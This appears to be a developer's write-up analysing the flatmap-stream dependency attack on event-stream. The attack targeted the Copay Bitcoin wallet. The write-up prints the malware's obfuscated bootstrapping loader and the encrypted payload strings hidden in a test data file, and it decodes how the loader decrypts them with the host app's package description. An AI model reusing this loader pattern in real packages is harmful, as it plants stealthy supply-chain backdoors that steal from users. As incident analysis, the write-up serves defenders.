Understanding flatmap-stream Bitcoin attack

Source: https://medium.com/@jsoverson/exploiting-developer-infrastructure-is-insanely-easy-9849937e81d4

The compromised dependency in event-stream was flatmap-stream.

flatmap-stream would ingest a data file that it was bundled with the following "Bootstrapping Code":

var r = require,
  t = process
function e(r) {
  return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461"))

"2e2f746573742f64617461" is just hex-encoded of ./test/data

The ./test/data file can be found here: https://unpkg.com/[email protected]/test/data

It's just an array of 10 obfuscated strings.

[  
  "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
  "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
   
  // 2
  // 'crypto'
  "63727970746f",
   
  // 3
  // 'env'
  "656e76",

  // 4
  // 'npm_package_description'
  "6e706d5f7061636b6167655f6465736372697074696f6e",

  // 5
  // 'aes256'
  "616573323536",

  // 6
  // 'createDecipher'
  "6372656174654465636970686572",

  // 7
  // '_compile'
  "5f636f6d70696c65",

  // 8
  // 'hex'
  "686578",

  // 9
  // 'utf8'
  "75746638"
]

The Bootstrapping Code continues:

var o = t[e(n[3])][e(n[4])];
if (!o) return;

o evaluates to process['env']['npm_package_description'].

If o is not found, the Bootstrapping Code exits.

2 of which could only be decrypted with a known password.

If not, it continues.

var u = r(e(n[2]))[e(n[6])](e(n[5]), o)
var a = u.update(n[0], e(n[8]), e(n[9]))

evaluates to

var u = require('crypto')['createDecipher']('aes256', process['env']['npm_package_description'])
var a = u.update(n[0], 'hex', 'utf8')

Couple things to notice. First, what's up with npm_package_description? Basically, the first two strings in the array of 10 obfuscated strings are AES encrypted. They can only be decrypted with the string "A Secure Bitcoin Wallet", which is the description of the Copay application, here: https://github.com/bitpay/copay/blob/master/package.json#L3 The malicious code won't actually run on any other application besides Copay.

The actual malicious payloads are shown here: dominictarr/event-stream#116 (comment)

kevinmichaelchen/flatmap-stream-bitcoin-attack.md